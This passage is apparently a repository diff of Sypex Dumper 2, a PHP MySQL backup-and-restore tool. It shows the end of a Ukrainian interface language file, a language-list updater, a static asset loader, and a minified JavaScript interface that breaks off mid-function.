'cfg_conf_drop' => 'видалення таблиць',// 2.0.7 pro
'cfg_outfile_path' => 'Шлях для OUTFILE:',// 2.0.7 pro
'cfg_outfile_size' => 'Розмір буферу для OUTFILE (МБ):',// 2.0.7 pro
// Соединение
'con_header' => 'Параметри з’єднання',
'connect' => 'З’єднання',
'my_host' => 'Хост:',
'my_port' => 'Порт:',
'my_user' => 'Користувач:',
'my_pass' => 'Пароль:',
'my_pass_hidden' => 'Пароль не відображається',
'my_comp' => 'Протокол із стисненням',
'my_db' => 'Бази даних:',
'btn_cancel' => 'Відміна',
// Сохранение задания
'sj_header' => 'Збереження завдання',
'sj_job' => 'Завдання',
'sj_name' => 'Ім’я (англ.):',
'sj_title' => 'Опис:',
// Создание БД
'cdb_header' => 'Створення бази даних',
'cdb_detail' => 'Деталі',
'cdb_name' => 'Назва:',
'combo_collate' => 'Порівняння',
'btn_create' => 'Створити',
'hint' => 'Підказка',// 2.0.7 pro
// Авторизация
'js_required' => 'JavaScript має бути ввімкнено',
'auth' => 'Авторизація',
'auth_user' => 'Користувач:',
'auth_remember' => 'Запам’ятати',
'btn_enter' => 'Увійти',
'btn_details' => 'Деталі',
// Сообщения в логе
'not_found_rtl' => 'Відсутній RTL-файл',
'backup_begin' => 'Початок експорту БД `%s`',
'backup_TC' => 'Експорт таблиці `%s`',
'backup_VI' => 'Експорт представлення `%s`',
'backup_PR' => 'Експорт процедури `%s`',
'backup_FU' => 'Експорт функції `%s`',
'backup_EV' => 'Експорт події `%s`',
'backup_TR' => 'Експорт тригера `%s`',
'continue_from' => 'з позиції %s',
'backup_end' => 'Резервна копія БД `%s` створена.',
'autodelete' => 'Автовидалення старих файлів:',
'del_by_date' => '- `%s` - видалений (по даті)',
'del_by_count' => '- `%s` - видалений (по даті)',
'del_fail' => '- `%s` - видалити не вдалося',
'del_nothing' => '- немає файлів для видалення',
'set_names' => 'Встановлено кодування з’єднання: `%s`',
'restore_begin' => 'Початок імпорту БД `%s`',
'restore_TC' => 'Імпорт таблиці `%s`',
'restore_VI' => 'Імпорт представлення `%s`',
'restore_PR' => 'Імпорт процедури `%s`',
'restore_FU' => 'Імпорт функції `%s`',
'restore_EV' => 'Імпорт події `%s`',
'restore_TR' => 'Імпорт тригера `%s`',
'restore_keys' => 'Включення індексів',
'restore_end' => 'БД `%s` відновлена з резервної копії.',
'stop_1' => 'Виконання перервано користувачем',
'stop_2' => 'Виконання зупинено користувачем',
'stop_3' => 'Виконання зупинено по таймеру',
'stop_4' => 'Виконання зупинено по таймауту',
'stop_5' => 'Виконання перервано із-за помилки',
'job_done' => 'Завдання успішно виконано',
'file_size' => 'Розмір файлу',
'job_time' => 'Часу витрачено',
'seconds' => 'сек.',
'job_freeze' => 'Процес не оновлювався більше 30 секунд. Натисніть Продовжити',
'stop_job' => 'Запит на зупинку',
// Надписи в JS
'js' => array(
// Названия вкладок
'backup' => 'Експорт бази даних',
'restore' => 'Імпорт бази даних',
'log' => 'Лог дій',
'result' => 'Результат виконання',
'files' => 'Файли резервних копій',
'services' => 'Сервіси',
'options' => 'Опції',
// Заголовки таблиц
'dt' => 'Дата і час',
'action' => 'Дія',
'db' => 'База даних',
'type' => 'Тип',
'tab' => 'Табл.',
'records' => 'Записів',
'size' => 'Розмір',
'comment' => 'Коментар',
// Статусы
'load' => 'Завантаження',
'run' => 'Виконання...',
'sdb' => 'Створення бази даних',
'sc' => 'Збереження з’єднання',
'sj' => 'Збереження завдання',
'so' => 'Збереження опцій',
// Сообщения
'pro' => 'Опція доступна лише у версії Pro',
'err_fopen' => 'Не вдається відкрити файл',
'err_sxd2' => 'Перегляд вмісту файлу доступний лише для файлів створених Sypex Dumper 2',
'err_empty_db' => 'База даних порожня',
'fdc' => 'Ви дійсно бажаєте видалити файл?',
'ddc' => 'Ви дійсно бажаєте видалити базу даних?',
'fic' => 'Ви дійсно бажаєте імпортувати файл?',
'ttc' => 'Ви дійсно бажаєте очистити таблиці?',// 2.0.7 pro
'tdc' => 'Ви дійсно бажаєте видалити таблиці?',// 2.0.7 pro
// Сокращения размеров файла
'sizes' => array('Б', 'КБ', 'МБ', 'ГБ'),
// Изменение/исправление кодировки
'chc_header' => 'Зміна кодування',// 2.0.7 pro
'coc_header' => 'Виправлення кодування',// 2.0.7 pro
'hint_chc' => 'Зміна кодування потрібна у випадках, коли потрібно змінити кодування таблиці та даних, наприклад, з cp1251 в utf8.',// 2.0.7 pro
'hint_coc' => 'Виправлення кодування потрібно у випадках, коли у таблиці вказана одне кодування, а дані в іншому. Наприклад, таблиця в latin1, а дані в cp1251.',// 2.0.7 pro
'need_backup' => 'Рекомендується попередньо зробити бекап бази даних.',// 2.0.7 pro
// Долнительные сервисы
'btn_chc' => 'Змінити кодування',// 2.0.7 pro
'btn_coc' => 'Виправити кодування',// 2.0.7 pro
'btn_enable' => 'Увімкнути індекси',// 2.0.7 pro
'btn_disable' => 'Вимкнути індекси',// 2.0.7 pro
'btn_truncate' => 'Очистити таблиці',// 2.0.7 pro
'btn_drop' => 'Видалити таблиці',// 2.0.7 pro
'btn_drop_db' => 'Видалити БД',// 2.0.7 pro
)
);
?>

19
sxd/lang/update.php Executable file
View File

@ -0,0 +1,19 @@
<?php
// Sypex Dumper 2 langfile updater
$path = './';
$langlist = array();
if (false !== ($handle = opendir($path))) {
while (false !== ($file = readdir($handle))) {
if (preg_match("/^lng_([a-z]{2}(-[a-z]{2})?)\.php$/", $file, $m)) {
include($path . $file);
$langlist[$m[1]] = $LNG['name'];
}
}
closedir($handle);
if(count($langlist) > 0){
$fp = fopen('list.php', 'w');
fwrite($fp, "<?php\n\$langs = " . var_export($langlist, 1) . ";\n?>");
}
}
echo 'Langlist updated';
?>

43
sxd/load.php Executable file
View File

@ -0,0 +1,43 @@
<?php
error_reporting(0);
if(!empty($_SERVER['QUERY_STRING']) && preg_match("/^(\w+)(\.v\d+)?(pro)?\.(lng\.js|js|css|gif|png|ico)$/", $_SERVER['QUERY_STRING'], $m)){
$compress = true;
$skin = '';
$file = $skin;
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 1209600) . ' GMT');
header('Cache-Control: max-age=1209600, public');
switch($m[4]) {
case 'css': $type = 'text/css; charset=UTF-8'; break;
case 'js': $type = 'application/x-javascript; charset=UTF-8'; break;
case 'lng.js':
header('Content-Type: application/x-javascript; charset=UTF-8');
//if(!ini_get('zlib.output_compression') && function_exists('ob_gzhandler')) ob_start('ob_gzhandler');
include("lang/lng_{$m[1]}.php");
echo 'sxdlng = ' . sxd_php2json($LNG['js']) . ';';
exit;
case 'png': $file = 'img/'; $type = 'image/png';$compress = false; break;
case 'gif': $file = 'img/'; $type = 'image/gif';$compress = false; break;
case 'ico': $file = ''; $type = 'image/x-icon';$compress = false; break;
}
$file .= $m[1] . '.' . $m[4];
if(is_file($file)){
//if($compress) if(!ini_get('zlib.output_compression') && function_exists('ob_gzhandler')) ob_start('ob_gzhandler');
header('Content-Type: ' . $type);
readfile($file);exit;
}
}
function sxd_php2json($obj){
if(count($obj) == 0) return '[]';
$is_obj = isset($obj[count($obj) - 1]) ? false : true;
$str = $is_obj ? '{' : '[';
foreach ($obj AS $key => $value) {
$str .= $is_obj ? "'" . addcslashes($key, "\n\r\t'\\/") . "'" . ':' : '';
if (is_array($value)) $str .= sxd_php2json($value);
elseif (is_null($value)) $str .= 'null';
elseif (is_bool($value)) $str .= $value ? 'true' : 'false';
elseif (is_numeric($value)) $str .= $value;
else $str .= "'" . addcslashes($value, "\n\r\t'\\/") . "'";
$str .= ',';
}
return substr_replace($str, $is_obj ? '}' : ']', -1);
}

3
sxd/ses.php Executable file
View File

@ -0,0 +1,3 @@
<?php
$SES = array (
);

1
sxd/sxd.css Executable file

File diff suppressed because one or more lines are too long

55
sxd/sxd.js Executable file
View File

@ -0,0 +1,55 @@
function zGridObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.cfg=b;this.el.className="zGrid";var d="";this.cols=b.header.length;for(var e=0;e<this.cols;e++)d+="<th"+(b.header[e][1]?" width="+b.header[e][1]:"")+">"+b.header[e][0]+"</th>";this.el.innerHTML="<div class=header><div><table cellspacing=0><tr>"+d+'</tr></table></div></div><div style="overflow-x:hidden;overflow-y:auto;"><table cellspacing="0"></table></div>';this.data=this.el.lastChild.firstChild;this.datadiv=this.el.lastChild;
this.data.style.width=b.width+"px";this.el.firstChild.style.height="22px";this.el.firstChild.style.width=b.width-1+"px";this.datadiv.style.height=b.height-23+"px";this.datadiv.style.width=b.width-1+"px";if("sxdGrid1"==this.name)this.oldtime="",this.add=this.addLog;else{var c=this;this.selected=null;this.add=function(a){if("object"==typeof a[0])for(var b in a)this.addRow(a[b]);else this.addRow(a)};this.datadiv.onclick=function(){c.selected.className="";c.selected=null}}},addLog:function(a,b,d){for(var e,
c,f=0;f<b.length;f++)e=this.data.insertRow(-1),c=e.insertCell(-1),e=e.insertCell(-1),c.width=120,f||(c.innerHTML=this.oldtime!=a?a:" ",this.oldtime=a),e.className="wrap",e.innerHTML=b[f]||" ",d&&(e.style.color=d);this.datadiv.scrollTop=this.datadiv.scrollHeight},addRow:function(a){var b=this.data.insertRow(-1),d;"sxdGrid2"==this.name&&(a[5]=sxd.formatSize(a[5],2));for(var e=0;e<this.cols;e++)d=b.insertCell(-1),this.cfg.header[e][1]&&(d.width=this.cfg.header[e][1]),1==this.cfg.header[e][2]&&(d.style.textAlign=
"right"),d.innerHTML=a[e]||" ",d.title=a[e]||"",0==e&&"sxdGrid2"==this.name&&(d.title+="\n"+a[7]);b.file=a[this.cols];var c=this;b.onclick=function(a){a=a||window.event;c.selected&&(c.selected.className="");this.className="sel";c.selected=this;a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0};b.ondblclick=function(a){a=a||window.event;c.selected&&(c.selected.className="");this.className="sel";c.selected=this;sxd.runFiles("open");a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0}},clear:function(){for(var a=
0,b=this.data.rows.length;a<b;a++)this.data.deleteRow(0);this.oldtime=""}}}
function zProgressObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.type=b;this.el.className="zProc "+(2==b?"blue":"green");this.el.innerHTML="<div class=bot><div class=txt>0%</div></div><div class=top><div class=txt>0%</div></div>";this.txt1=this.el.firstChild.firstChild;this.txt2=this.el.lastChild.firstChild;this.top=this.el.lastChild},set:function(a,b,d,e){a=0<a?100<a?100:a:0;b=b||0;d=d||0;e=e||0;this.txt1.innerHTML=a+"%"+(b?" "+sxd.formatSize(b):"")+(d&&e?" ["+d+"/"+e+"]":"");this.txt2.innerHTML=
this.txt1.innerHTML;2==this.type&&(document.title=a+"% - "+sxd.version.full);this.top.style.width=Math.round(3*a)+"px"}}}
function zToolbarObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.id="#"+a;this.el.className="zTBar";this.buttons=b;this.curBtn={id:0,more:0,pop:0,el:null,com:null};var d=this;this.el.onmouseover=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn ovr")};this.el.onmouseout=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn")};this.el.onmousedown=function(a){a=a||window.event;!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className=
d.curBtn.more?"btn ovr":"btn dwn",d.curBtn.more&&(d.curBtn.el.lastChild.className="arr dwn",d.curBtn.pop=1,sxd.showMenu(d.curBtn,sxd.options["sj_"+d.curBtn.com],{width:220,runjob:!0}),document.body.onclick=function(){d.curBtn.el.className="btn";d.curBtn.el.lastChild.className="arr";d.curBtn.pop=0;document.body.onclick=null},a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0))};this.el.onmouseup=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn ovr",d.curBtn.more&&
(d.curBtn.el.lastChild.className="arr"),sxd.actions["tab_"+d.curBtn.com](d.curBtn.more))};var e={".btn.ovr":"0 -28px",".ovr .lb":"0 -72px",".ovr .rb":"-4px -72px",".ovr .mb":"0 -138px",".btn.dwn":"0 -94px",".dwn .lb":"0 -116px",".dwn .rb":"-4px -116px",".dwn .mb":"-4px -138px",".dwn.arr":"0 -94px",".dwn.arr .mb":"-4px -50px"},c;for(c in e)sxd.css.add(".zTBar "+c+" {background-position:"+e[c]+";}");var f="",h;for(h in b)e=b[h],"|"==e[0]?f+='<div class="spl"></div>':(c=' style="background-position:-16px '+
-16*(e[2]-1)+'px;"',f+='<div class="btn" id="ztbi_'+h+'"><div class="lb"></div>',f+=e[3]&1?'<div class="txt"'+c+">"+e[1]+"</div>":'<div class="ico" title="'+e[1]+'"'+c+"></div>",f+=e[3]&2?'<div class="arr"><div class="mb"></div><div class="more"></div><div class="rb"></div></div>':'<div class="rb"></div>',f+="</div>");this.el.innerHTML=f;30<this.el.lastChild.offsetTop&&(e=this.el.lastChild.childNodes[1],e.className="ico",e.title=e.innerHTML,e.innerHTML="")},getId:function(a){a=a.target||a.srcElement;
for(var b={id:0,more:0,pop:0,el:null,com:null};!a.id;)a.className.match(/arr/)&&(b.more=1),a=a.parentNode;return a.id&&"zTBar"!=a.className?(b.id=1*a.id.replace("ztbi_",""),b.el=a,b.com=this.buttons[b.id][0],this.curBtn=b,!0):!1}}}
function zTreeObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.prefix="zti_"+b+"_";this.id="#"+a;this.index=[];this.data=[];this.load=!0;this.err=!1;var d=this;this.el.className="zTree";this.el.onselectstart=function(){return!1};this.el.onclick=function(a){a=a||window.event;var b=a.target||a.srcElement;switch(b.tagName.toUpperCase()){case "I":"pm"==b.className?d.openBranch(d.getId(b)):b.className.match(/^cb[0124]$/)&&d.clickBranch(d.getId(b));break;case "A":d.clickBranch(d.getId(b)),
a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0}"A"==b.parentNode.tagName.toUpperCase()&&d.clickBranch(d.getId(b));return!1};this.el.onmousedown=function(a){a=a||window.event;a=a.target||a.srcElement;if("A"==a.tagName.toUpperCase()||"A"==a.parentNode.tagName.toUpperCase())return!1};var e="li.df > div;li.dt > div;li.dl > div;.close .pm;.pm;.cb0;.cb1;.cb2;.cb3;.cb4".split(";"),c;for(c in e)sxd.css.add(".zTree "+e[c]+" {background-position: 0 -"+18*c+"px;}");e=".cTA .cVI .cPR .cFU .cTR .cEV .iTA .iVI .iPR .iFU .iTR .iEV".split(" ");
for(c in e)sxd.css.add(".zTree "+e[c]+" {background-position: 0 -"+16*c+"px;}")},getId:function(a){for(;!a.parentNode.id&&(a=a.parentNode););return 1*a.parentNode.id.replace(this.prefix,"")},openBranch:function(a){a=this.index[a];a.open=(a.open+1)%2;sxd.css.swap(a.el,["close","open"],a.open)},clickBranch:function(a){if("lite"==sxd.version.type&&"restore_tree"==this.name)return alert(sxd.lng("pro")),!1;var b=this.index[a];if(3==b.checked)return!1;this.setCheckBox(a,4==b.checked?1:(b.checked+1)%(b.type.match(/^.TA$/)?
3:2));this.changeChilds(b);this.checkParents(b)},setCheckBox:function(a,b){b=2==this.index[a].typen&&1==b&&void 0==this.index[a].size?2:b;this.index[a].checked=b;this.index[a].el.firstChild.childNodes[1].className="cb"+b},changeChilds:function(a){if(a.childs)for(var b in a.childs)this.setCheckBox(a.childs[b].id,a.checked),this.changeChilds(a.childs[b])},checkParents:function(a){for(var b;0<a.pid;){a=this.index[a.pid];b=-1;for(var d in a.childs){if(0<=b&&b!=a.childs[d].checked){b=4;break}b=a.childs[d].checked}this.setCheckBox(a.id,
b)}1==a.id&&this.recountSizes(a)},drawTree:function(a){this.load=this.err=!1;if("object"!=typeof a)return!1;for(var b=[""],d=[],e=" cTA iTA cVI iVI cPR iPR cFU iFU cTR iTR cEV iEV".split(" "),c=0,f=a.length;c<f;c++)o={},o.id=a[c][0],o.pid=a[c][1],o.parent=b[o.pid],o.name=a[c][2],o.type=e[a[c][3]],o.typen=a[c][3],o.checked=a[c][4]||0,3>a[c][3]&&(o.size=2==a[c][3]?a[c][5]:0),a[c][3]&1&&(o.childs=[],o.open=a[c][5]||0),b[o.id]=o,0<o.pid?b[o.pid].childs.push(o):d.push(o);this.lastId=0;this.el.innerHTML=
this.drawChilds(d,0);c=1;for(f=b.length;c<f;c++)b[c]&&(o=z(this.prefix+b[c].id),b[c].el=o);this.data=d;this.index=b},recountSizes:function(a){if(!a.childs)return 0;var b=0,d;for(d in a.childs)b+=this.recountSizes(a.childs[d]),"iTA"==a.childs[d].type&&1==a.childs[d].checked&&(b+=a.childs[d].size||0);a.el.getElementsByTagName("span")[0].innerHTML=sxd.formatSize(b,0);return b},drawChilds:function(a,b){if(0==a.length)return"";for(var d="<ul>",e,c,f,h,k,g,l=0,m=a.length,n=-1,p=0,q=0;q<m;q++)g=a[q],g.childs&&
0<g.childs.length?(c="pm",k=this.drawChilds(g.childs,g.id)):(0==b&&(g.checked=3),c=k=""),n=0<=n&&n!=g.checked?4:g.checked,++l,e=m==l?"dl":"dt",f="cb"+g.checked,h=g.type||"iTA",!g.size||1!=g.checked&&4!=g.checked||(p+=g.size),d+='<li class="'+e+(g.open?" open":" close")+'" id="'+this.prefix+g.id+'"><div><i class="'+c+'"></i><i class="'+f+'"></i><a href="#"><i class='+h+"></i> "+g.name+sxd.formatSize(g.size,1)+" </a></div>"+k+"</li>";0<g.pid&&(g.parent.checked=n,0<p&&(g.parent.size+=p));return d+"</ul>"},
save:function(){if(this.err)return null;for(var a=this.data,b={TA:[],TC:[],VI:[],PR:[],FU:[],TR:[],EV:[]},d,e,c,f=0,h=a.length;f<h;f++)if(d=a[f],4==d.checked)for(var k=0,g=d.childs.length;k<g;k++)if(e=d.childs[k],4==e.checked)for(var l=0,m=e.childs.length;l<m;l++)c=e.childs[l],1==c.checked?b.TA.push(c.name):2==c.checked&&b.TC.push(c.name);else 1==e.checked?b[e.type.substr(1,2)].push(e.name):2==e.checked&&b.TC.push(e.name);else 1==d.checked?b[d.type.substr(1,2)].push("*"):2==d.checked&&b.TC.push("*");
return b},pref:function(){for(var a=this.data,b="",d,e,c,f=0,h=a.length;f<h;f++){d=a[f];for(var k=0,g=d.childs.length;k<g;k++){e=d.childs[k];if(4==e.checked)for(var l=0,m=e.childs.length;l<m;l++){if(c=e.childs[l],1==c.checked||2==c.checked){b=c.name.replace(/^([a-z\d]{1,6}_).+?$/,"$1");break}}else if(1==e.checked||2==e.checked){b=e.name.replace(/^([a-z\d]{1,6}_).+?$/,"$1");break}if(b)break}if(b)break}return b},error:function(a){this.err=!0;this.el.innerHTML="<div class=error><div>"+(a||"Empty")+"</div></div>"}}}
function z(a){return document.getElementById(a)}
var sxd={version:{num:20008,type:"pro",full:""},init:function(){var a={" .lb":"0 -80px"," .rb":"-2px -80px"," .mb":"-4px -80px",".ovr":"0 -20px",".ovr .lb":"0 -100px",".ovr .rb":"-2px -100px",".ovr .mb":"-4px -100px",".ovr .arr":"0 -40px",".dwn":"0 -20px",".dwn .lb":"0 -100px",".dwn .rb":"-2px -120px",".dwn .mb":"-4px -120px",".dwn .arr":"0 -60px"},b;for(b in a)this.css.add(".zSel"+b+" {background-position:"+a[b]+";}");this.version.full=z("header").innerHTML;this.main=z("main_div");this.menu.el=z("sxdMenu");
this.name=z("name").lastChild;this.loading=z("loading");this.overlay=z("overlay");this.progress.current=zProgressObject();this.progress.current.init("sxdProc1",1);this.progress.total=zProgressObject();this.progress.total.init("sxdProc2",2);this.tbar=zToolbarObject();this.tree.backup=zTreeObject();this.tree.backup.init("backup_tree",1);this.tree.restore=zTreeObject();this.tree.restore.init("restore_tree",2);this.tree.services=zTreeObject();this.tree.services.init("services_tree",3);this.comment.backup=
z("backup_comment");this.comment.restore=z("restore_comment");this.timer.t1=z("sxdTime1");this.timer.t2=z("sxdTime2");this.timeout=null;this.log=zGridObject();this.log.init("sxdGrid1",{header:[[this.lng("dt"),120],[this.lng("action")]],width:565,height:286});this.files=zGridObject();this.files.init("sxdGrid2",{header:[[this.lng("db"),90],[this.lng("dt"),90],[this.lng("type"),30],[this.lng("tab"),30,1,this.lng("table")],[this.lng("records"),60,1],[this.lng("size"),45,1],[this.lng("comment")]],width:565,
height:334});this.result=zGridObject();this.result.init("sxdGrid3",{header:[["Table",160],["Op",70],["Msg_type",50],["Msg_text"]],width:565,height:334});this.addDialogs(["connect","createdb","savejob","charsets"]);this.addTabs("backup restore log result files services options".split(" "));this.addOpt({services:{g_convert:this.lng("btn_chc"),f_correct:this.lng("btn_coc"),e_enable_keys:this.lng("btn_enable"),d_disable_keys:this.lng("btn_disable"),c_truncate:this.lng("btn_truncate"),b_drop_tab:this.lng("btn_drop"),
a_drop_db:this.lng("btn_drop_db")}})},job:{name:"abcdefgh",stop:0,log_seek:0,type:""},menu:{el:null,type:"zSelMenu"},tabs:{},openTab:function(a){this.opened&&(this.tabs[this.opened].el.style.display="none");this.opened=a;this.name.innerHTML=this.tabs[a].name;this.tabs[a].el.style.display="";document.title=sxd.version.full},addTabs:function(a){for(var b=0,d=a.length;b<d;b++)this.tabs[a[b]]={name:this.lng(a[b]),el:z("tab_"+a[b])};this.openTab(a[0])},dialogs:{},addDialogs:function(a){for(var b=0,d=a.length;b<
d;b++)this.dialogs[a[b]]=z("dia_"+a[b])},tbar:{},tree:{},options:{},progress:{},combos:{},comment:{},lng:function(a){return sxdlng[a]?sxdlng[a]:"[LNG: "+a+"]"},timer:{set:function(a,b,d){function e(a){return(10>Math.floor(a/60)?"0"+Math.floor(a/60):Math.floor(a/60))+":"+(10>a%60?"0"+a%60:a%60)}a||b?(a=b-a,this.t1.innerHTML=e(a),this.t2.innerHTML=e(0<a&&0<d?Math.round(a/(d/100)-a):0)):(this.t1.innerHTML="00:00",this.t2.innerHTML="00:00")}},actions:{db:function(){this.value&&("backup_db"!=this.name&&
"services_db"!=this.name||sxd.ajax("index",sxd.lng("load"),{act:"load_db",name:this.name,value:this.value}))},dblist:function(){sxd.ajax("index",sxd.lng("load"),{act:"dblist"})},filelist:function(){sxd.ajax("index",sxd.lng("load"),{act:"filelist"})},files:function(){this.value&&sxd.ajax("index",sxd.lng("load"),{act:"load_files",name:this.name,value:this.value})},tab_connects:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_connect"});sxd.showDialog("connect")},tab_createdb:function(){sxd.showDialog("createdb")},
tab_backup:function(){sxd.openTab("backup");sxd.tree.backup.load&&sxd.combos.backup_db.action()},tab_restore:function(){sxd.openTab("restore");sxd.tree.restore.load&&sxd.combos.restore_file.action()},tab_files:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_files_ext"});sxd.openTab("files")},tab_services:function(){sxd.openTab("services");sxd.tree.services.load&&sxd.combos.services_db.action()},tab_options:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_options"});sxd.openTab("options")},
tab_exit:function(){sxd.ajax("index",sxd.lng("load"),{act:"exit"})}},informer:function(){sxd.job.timer&&clearTimeout(sxd.job.timer);sxd.job.stop||(sxd.job.timer=setTimeout(function(){sxd.ajax("info",sxd.lng("run"),{job:sxd.job.name,act:"info",lseek:sxd.job.log_seek},1,function(){sxd.informer()})},250))},addDb:function(){sxd.ajax("index",this.lng("sdb"),{act:"add_db",name:z("db_name").value,charset:this.combos.db_charset.value,collate:this.combos.db_charset_col.value});sxd.hideDialog("createdb")},
changeCS:function(){this.result.clear();sxd.hideDialog("charsets");this.openTab("result");sxd.ajax("index",this.lng("run"),{act:"services",type:this.serv_type,db:this.combos.services_db.value,charset:this.combos.services_charset.value,collate:this.combos.services_charset_col.value,obj:this.tree.services.save()})},getPrefix:function(){z("prefix").checked&&""==z("prefix_from").value&&(z("prefix_from").value=this.tree.restore.pref())},saveConnect:function(){sxd.ajax("index",this.lng("sc"),{act:"save_connect",
host:z("con_host").value,port:z("con_port").value,user:z("con_user").value,pass:z("con_pass").changed?z("con_pass").value:null,comp:z("con_comp").checked?"1":"0",db:z("con_db").value});sxd.hideDialog("connect");z("con_pass").value=""},job2php:function(){return"restore"==sxd.opened||"restore"==sxd.job.type?{act:"restore",type:"restore",db:this.combos.restore_db.value,charset:this.combos.restore_charset.value,file:this.combos.restore_file.value,strategy:this.combos.restore_type.value,correct:z("correct").checked?
1:0,autoinc:z("autoinc").checked?1:0,prefix_from:z("prefix_from").value,prefix_to:z("prefix_to").value,savesql:sxd.savesql,obj:this.tree.restore.save()}:{act:"backup",type:"backup",db:this.combos.backup_db.value,charset:this.combos.backup_charset.value,zip:this.combos.backup_zip.value,comment:this.comment.backup.value,del_time:z("del_time").value,del_count:z("del_count").value,outfile:z("outfile").checked?1:0,/*utf:z("utf").checked?1:0,*/obj:this.tree.backup.save()}},saveJob:function(){var a=this.job2php();a.job=z("sj_name").value;
a.act="save_job";a.title=z("sj_title").value;sxd.ajax("index",this.lng("sj"),a);sxd.hideDialog("savejob")},runSavedJob:function(a,b){0!=b&&(this.clearLogTab(),sxd.job.name=b,sxd.job.type=a,sxd.job.act="run_savedjob",sxd.ajax("index",this.lng("run"),{act:"run_savedjob",type:a,job:b},1),this.openTab("log"),z("btn_resume").style.display="none",z("btn_pause").style.display="",z("btn_stop").disabled=!1,z("btn_pause").disabled=!1,z("btn_again").disabled=!0,sxd.job.stop=0,sxd.informer())},saveOptions:function(){sxd.confirms=
1*z("conf_import").checked+2*z("conf_file").checked+4*z("conf_db").checked+8*z("conf_truncate").checked+16*z("conf_drop").checked;sxd.ajax("index",this.lng("so"),{act:"save_options",time_web:1*z("time_web").value,time_cron:1*z("time_cron").value,backup_path:z("backup_path").value,backup_url:z("backup_url").value,globstat:z("globstat").checked?"1":"0",outfile_path:z("outfile_path").value,outfile_size:z("outfile_size").value,charsets:z("charsets").value,only_create:z("only_create").value,auth:z("auth").value,
confirm:sxd.confirms});sxd.hideDialog("connect");z("con_pass").value=""},clearLogTab:function(){this.log.clear();this.timer.set(0);this.job.log_seek=0;this.progress.current.set(0);this.progress.total.set(0)},runBackup:function(){this.clearLogTab();z("btn_resume").style.display="none";z("btn_pause").style.display="";z("btn_down").style.display="none";z("btn_stop").disabled=!1;z("btn_pause").disabled=!1;z("btn_again").disabled=!0;sxd.job.name=this.newJob();sxd.job.type="backup";var a=this.job2php();
this.openTab("log");a.type="run";a.job=sxd.job.name;this.ajax("index",this.lng("run"),a,1);sxd.job.stop=0;sxd.informer()},stopJob:function(){z("btn_again").disabled=!1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;sxd.ajax("info",this.lng("run"),{job:sxd.job.name,act:"stop"},1)},pauseJob:function(){z("btn_again").disabled=!1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;sxd.ajax("info",this.lng("run"),{job:sxd.job.name,act:"pause"},1);z("btn_resume").style.display="";z("btn_pause").style.display=
"none"},resumeJob:function(){z("btn_stop").disabled=!1;z("btn_pause").disabled=!1;z("btn_again").disabled=!0;sxd.ajax("index",this.lng("run"),{job:sxd.job.name,act:"resume"},1);z("btn_resume").style.display="none";z("btn_pause").style.display="";sxd.job.stop=0;sxd.informer()},runAgain:function(){"run_savedjob"==sxd.job.act?sxd.runSavedJob(sxd.job.type,sxd.job.name):"backup"==sxd.job.type?sxd.runBackup():"restore"==sxd.job.type&&sxd.runRestore(2)},runRestore:function(a){a=a||0;sxd.confirms&1&&!confirm(sxd.lng("fic"))||
(this.clearLogTab(),z("btn_resume").style.display="none",z("btn_pause").style.display="",z("btn_down").style.display="none",z("btn_stop").disabled=!1,z("btn_pause").disabled=!1,z("btn_again").disabled=!0,sxd.job.name=this.newJob(),sxd.job.type="restore",sxd.savesql=1==a?1:2==a?sxd.savesql:0,a=this.job2php(),this.openTab("log"),a.type="run",a.job=sxd.job.name,this.ajax("index",this.lng("run"),a,1),sxd.job.stop=0,sxd.informer())},runServices:function(a){this.serv_type=a=a.replace(/^[a-g]_/,"");switch(a){case "delete":case "drop_db":if(sxd.confirms&
4&&!confirm(sxd.lng("ddc")))return;sxd.ajax("index",sxd.lng("run"),{act:"delete_db",name:this.combos.services_db.value});return;case "convert":z("cc_header").innerHTML=sxd.lng("chc_header");z("charset_hint").innerHTML=sxd.lng("hint_chc")+"<br>"+sxd.lng("need_backup");sxd.showDialog("charsets");return;case "correct":z("cc_header").innerHTML=sxd.lng("coc_header");z("charset_hint").innerHTML=sxd.lng("hint_coc")+"<br>"+sxd.lng("need_backup");sxd.showDialog("charsets");return;case "truncate":if(sxd.confirms&
8&&!confirm(sxd.lng("ttc")))return;break;case "drop_tab":if(sxd.confirms&16&&!confirm(sxd.lng("tdc")))return}this.result.clear();this.openTab("result");this.ajax("index",this.lng("run"),{act:"services",type:a,db:this.combos.services_db.value,check:this.combos.services_check.value,repair:this.combos.services_repair.value,obj:this.tree.services.save()})},runFiles:function(a,b){b=b||this.files.selected.file;switch(a){case "open":sxd.combos.restore_file.select(b);sxd.openTab("restore");break;case "download":location.href=
sxd.backupUrl+b;break;case "delete":if(!b)break;if(sxd.confirms&2&&!confirm(sxd.lng("fdc")))break;sxd.ajax("index",sxd.lng("run"),{act:"delete_file",name:b});sxd.actions.filelist()}},ajax:function(a,b,d,e,c){function f(a,b){var c="";b=b||"";for(var d in a)c+="object"==typeof a[d]?f(a[d],b+"["+d+"]"):"ajax"+b+"["+d+"]="+encodeURIComponent(a[d])+"&";return c}this.showLoading(b);a+=".php";b=f(d);var h=window.XMLHttpRequest?new XMLHttpRequest:window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):
